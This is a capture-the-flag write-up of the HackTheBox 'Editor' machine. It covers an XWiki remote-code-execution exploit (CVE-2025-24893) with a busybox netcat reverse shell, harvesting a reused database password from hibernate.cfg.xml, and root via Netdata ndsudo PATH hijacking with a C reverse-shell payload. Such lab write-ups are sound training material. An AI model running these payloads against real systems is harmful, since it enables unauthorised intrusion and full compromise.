< BACK TO HUB
EASY DIFFICULTY

EDITOR

TARGET OS: LINUX | AUTHOR: LEANDROS

Editor is a classic Easy-rated Linux machine on HackTheBox that tests standard web exploitation and local privilege escalation techniques. My intrusion started by identifying an outdated XWiki installation and exploiting an unauthenticated Remote Code Execution vulnerability. I then moved laterally by discovering hardcoded database credentials that the system administrator foolishly reused for their SSH account. Finally, I escalated to root by exploiting a vulnerable Netdata SUID binary using PATH manipulation. Here is my complete mission log.

PHASE 1: RECONNAISSANCE

I initiated the engagement with an Nmap TCP port scan to map the target.

TERMINAL - NMAP TCP SCAN
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p22,80,8080 <IP>
OUTPUT
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editor.htb/
8080/tcp open  http    Jetty 10.0.20
| http-title: XWiki - Main - Intro
|_Requested resource was http://10.10.11.80:8080/xwiki/bin/view/Main/

The scan revealed several interesting entry points. Port 80 redirected to editor.htb, which I added to my /etc/hosts file. Visiting the webpage revealed a standard site, but clicking the "Docs" link attempted to route me to wiki.editor.htb. I updated my hosts file to include this subdomain as well.

Port 8080 was hosting an instance of XWiki. Checking the footer of the application, I identified the version as XWiki Debian 15.10.8.

PHASE 2: INITIAL FOOTHOLD

[!] VULNERABILITY DETECTED: XWIKI REMOTE CODE EXECUTION

A quick search for "XWiki 15.10.8 exploits" revealed it is vulnerable to CVE-2025-24893. This is a critical vulnerability that allows an unauthenticated attacker to achieve Remote Code Execution (RCE) by injecting malicious Groovy code into specific endpoints.

I downloaded a Proof of Concept (PoC) exploit script from GitHub to weaponize this vulnerability. I set up a Netcat listener on my attacker machine and executed the python script, passing a busybox reverse shell payload to the target.

PAYLOAD - CVE-2025-24893 EXPLOIT
python3 exploit.py -t 'http://<IP>:8080' -c 'busybox nc <IP_ATTACKER> <PORT_ATTACKER> -e /bin/bash'
OUTPUT
[*] Attacking http://10.10.11.80:8080
[*] Injecting the payload...
[*] Command executed

~Happy Hacking

Switching back to my Netcat listener, I had caught the incoming connection. I was operating as the user xwiki. My first step was to upgrade the basic shell to a fully interactive TTY using python/script so I could use autocomplete and text editors comfortably.

TERMINAL - TTY STABILIZATION
script /dev/null -c bash
# Hit [Ctrl] + [Z] to background the shell
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash

PHASE 3: LATERAL MOVEMENT

Now that I had a stable shell, I needed to escalate to a standard user. I started enumerating the XWiki configuration directories, specifically focusing on /usr/lib/xwiki/WEB-INF/.

This directory contains the core configuration files for the wiki instance. I dumped the contents of hibernate.cfg.xml and used grep to filter for the word "pass".

TERMINAL - GREPPING FOR PASSWORDS
cat hibernate.cfg.xml | grep "pass"
OUTPUT
<property name="hibernate.connection.password">theEd1t0rTeam99</property>
<property name="hibernate.connection.password">xwiki</property>

I discovered a highly specific password: theEd1t0rTeam99. Since people frequently reuse passwords, I checked the /etc/passwd file to see who the standard system users were. I found a user named oliver (UID 1000).

I attempted to SSH directly into the machine as Oliver using the database password.

TERMINAL - SSH ACCESS
ssh oliver@<IP>

It worked! I bypassed the web server completely, secured an interactive SSH session as Oliver, and claimed the user.txt flag.

PHASE 4: PRIVILEGE ESCALATION

Checking my groups using the id command, I discovered that Oliver belonged to a group called netdata. I immediately searched the filesystem to find any executable files associated with this group.

TERMINAL - ENUMERATION
find / -group netdata -type f -executable 2>/dev/null

The search returned dozens of plugins, but one binary stood out: /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo. I also found an API key file (netdata.api.key).

Checking the active network connections with ss -tuln, I saw that port 19999 was listening locally. This is the default port for the Netdata monitoring dashboard. I used SSH local port forwarding to access this dashboard from my attacking machine.

TERMINAL - SSH PORT FORWARDING
ssh -L 19999:127.0.0.1:19999 oliver@<IP>

Querying the API on the forwarded port (curl http://127.0.0.1:19999/api/v1/info), I identified the installation as Netdata v1.45.2.

Researching this version revealed a privilege escalation vulnerability (CVE-2024-32019) linked directly to the ndsudo binary we discovered earlier. The binary had SUID permissions (meaning it runs as root), but it had a critical flaw in how it handled environment variables—specifically, the PATH variable.

[!] EXPLOIT STRATEGY: PATH MANIPULATION

When ndsudo is executed with the nvme-list argument, it tries to execute the system binary nvme to list devices. However, it does not use an absolute path (like /usr/sbin/nvme). It simply calls nvme.

If we create our own malicious program, name it nvme, place it in a folder (like /tmp), and then tell Linux to search our folder before the standard system folders by modifying the PATH variable, ndsudo will execute our malicious code as root!

On my attacker machine, I wrote a simple C program that sets the user ID to 0 (root) and executes a reverse shell.

PAYLOAD - EXPLOIT.C
#include <unistd.h>
#include <stddef.h>

int main() {
    setuid(0);
    setgid(0);
    execl("/bin/bash", "bash", "-c", "bash -i >& /dev/tcp/<IP_ATTACKER>/<PORT> 0>&1", NULL);
    return 0;
}

I compiled this program statically so it wouldn't rely on the victim machine's libraries, and I named the output binary nvme.

TERMINAL - COMPILING & TRANSFERRING
x86_64-linux-gnu-gcc -o nvme exploit.c -static
python3 -m http.server 80

I downloaded the nvme binary to the /tmp directory on the victim machine and made it executable. I set up my final Netcat listener. Then, I executed the vulnerable ndsudo binary while prepending my current directory (/tmp) to the PATH.

TERMINAL - PATH HIJACKING
PATH=$(pwd):$PATH /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
OUTPUT
listening on [any] 7755 ...
connect to [10.10.14.32] from (UNKNOWN) [10.10.11.80] 46540
root@editor:/tmp# whoami
root

The ndsudo binary successfully swallowed the bait. It executed my reverse shell payload with root privileges. I captured the root.txt flag. System Compromised.